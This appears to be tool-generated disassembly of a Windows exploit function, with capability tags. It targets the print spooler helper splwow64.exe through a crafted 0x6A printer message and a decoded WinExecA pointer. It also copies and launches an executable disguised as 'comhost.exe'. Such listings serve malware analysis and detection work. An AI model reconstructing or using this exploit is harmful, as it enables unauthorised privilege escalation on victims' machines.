Function at 0x1400023a0
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub rsp, 0x278
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
call fcn.140001270
call fcn.1400014a0
call fcn.1400015a0
lea rcx, str.log.log
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea r8, [0x140018300]
lea rdx, str.log.log
lea rcx, [rsp + 0x20]
call fcn.140004b60
lea rcx, str.Init_done
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r9, qword [rsp + 0x20]
lea rcx, str.Init_done
movsxd r8, eax
mov edx, 1
call fcn.140004a0c
mov r9, qword [rsp + 0x20]
lea rcx, [0x140018304]
mov edx, 1
lea r8d, [rdx + 1]
call fcn.140004a0c
mov rcx, qword [rsp + 0x20]
call fcn.140004760
call fcn.140001400
lea rdx, [0x14001cc60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str.2.exe
lea rcx, [0x14001cc60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rsp + 0x150]
mov r8d, 0x104
call fcn.140003de0
mov edx, 0x104
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rdx, [0x1400185dc]
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.comhost.exe
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor r8d, r8d
lea rdx, [rsp + 0x150]
lea rcx, [0x14001cc60]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x14000254c
lea r8, [0x140018300]
lea rdx, str.log.log
lea rcx, [rsp + 0x20]
call fcn.140004b60
lea rcx, str.Level_High___Path
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r9, qword [rsp + 0x20]
lea rcx, str.Level_High___Path
movsxd r8, eax
mov edx, 1
call fcn.140004a0c
mov r9, qword [rsp + 0x20]
lea rcx, [0x140018304]
mov edx, 1
lea r8d, [rdx + 1]
call fcn.140004a0c
mov rcx, qword [rsp + 0x20]
call fcn.140004760
call fcn.140001400
xor edx, edx
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x14000283b
lea rdx, [0x140018604]
lea rcx, [0x14001cc60]
call fcn.140003734
test rax, rax
jne 0x1400025f8
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x104
call fcn.140003de0
lea rdx, [rsp + 0x40]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, 5
movsxd r8, eax
cmp r8, 0x104
jae 0x140002855
lea rdx, str.comhost.exe
mov byte [rsp + r8 + 0x40], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [0x14001cc60]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.Level_Medium___Path
call fcn.1400011e0
call fcn.140001400
jmp 0x14000283b
lea rdx, [0x14001cc60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str.kingdom
lea rcx, [0x14001cc60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.2.exe
lea rcx, [0x14001cc60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, str.Low_Medium
call fcn.1400011e0
call fcn.140001400
lea rcx, [0x14001cc60]
call fcn.1400011e0
call fcn.140001400
xor r9d, r9d
lea rdx, str.Microsoft_XPS_Document_Writer
xor r8d, r8d
lea rcx, str.Microsoft_XPS_Document_Writer
call qword [sym.imp.GDI32.dll_CreateDCW]
lea rcx, str.Nows_the_time_to_hook_up_the_debugger_to_splwow64.exe_if_you_want_to._Press__Enter__to_continue
call fcn.1400011e0
call fcn.140001400
lea rcx, str.Get_port_name
call fcn.1400011e0
call fcn.140001400
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x28]
call fcn.140001660
test eax, eax
jne 0x1400026bf
lea rcx, str.Failed_to_get_port_name
call fcn.1400011e0
call fcn.140001400
jmp 0x14000283b
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x270], r14
call fcn.140001780
mov r14, rax
test rax, rax
je 0x140002822
cmp qword [0x14001cfe0], 0
je 0x140002822
cmp qword [0x14001cfe8], 0
je 0x140002822
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Prepare_0x6A_Message___OpenPrinter
call fcn.1400011e0
call fcn.140001400
call fcn.140001860
lea r8, [0x14001d000]
mov rcx, r14
lea rdx, [0x14001cd70]
call qword [0x14001cc58]
test eax, eax
jne 0x14000285b
mov qword [rsp + 0x280], rbx
lea rcx, str.Writing_message_0x6A_success_
mov qword [rsp + 0x288], rbp
mov qword [rsp + 0x290], rsi
mov qword [rsp + 0x298], rdi
call fcn.1400011e0
call fcn.140001400
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x14001cfe0]
lea rcx, str.Cookie:
mov rbp, qword [rax + 0x140]
call fcn.1400011e0
call fcn.140001400
mov rdx, rbp
mov rcx, r14
call fcn.140001e70
lea rcx, str.kernel32.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, esi
lea rdx, [0x140018770]
mov rcx, rax
and ebx, 0x3f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
movzx ecx, bl
xor rdi, rsi
ror rdi, cl
lea rcx, str.WinExecA:_fpWinExecA:
call fcn.1400011e0
call fcn.140001400
mov r8, rdi
mov rdx, rbp
mov rcx, r14
call fcn.140002120
lea rcx, str.Done
call fcn.1400011e0
call fcn.140001400
mov rdi, qword [rsp + 0x298]
mov rsi, qword [rsp + 0x290]
mov rbp, qword [rsp + 0x288]
mov rbx, qword [rsp + 0x280]
jmp 0x140002833
lea rcx, str.portHandle_Failed
call fcn.1400011e0
call fcn.140001400
mov r14, qword [rsp + 0x270]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140002890
add rsp, 0x278
ret
call fcn.1400029bc
int3
lea rcx, str.Writing_message_0x6A_failed
call fcn.1400011e0
call fcn.140001400
mov ecx, 1
call fcn.140004e60
int3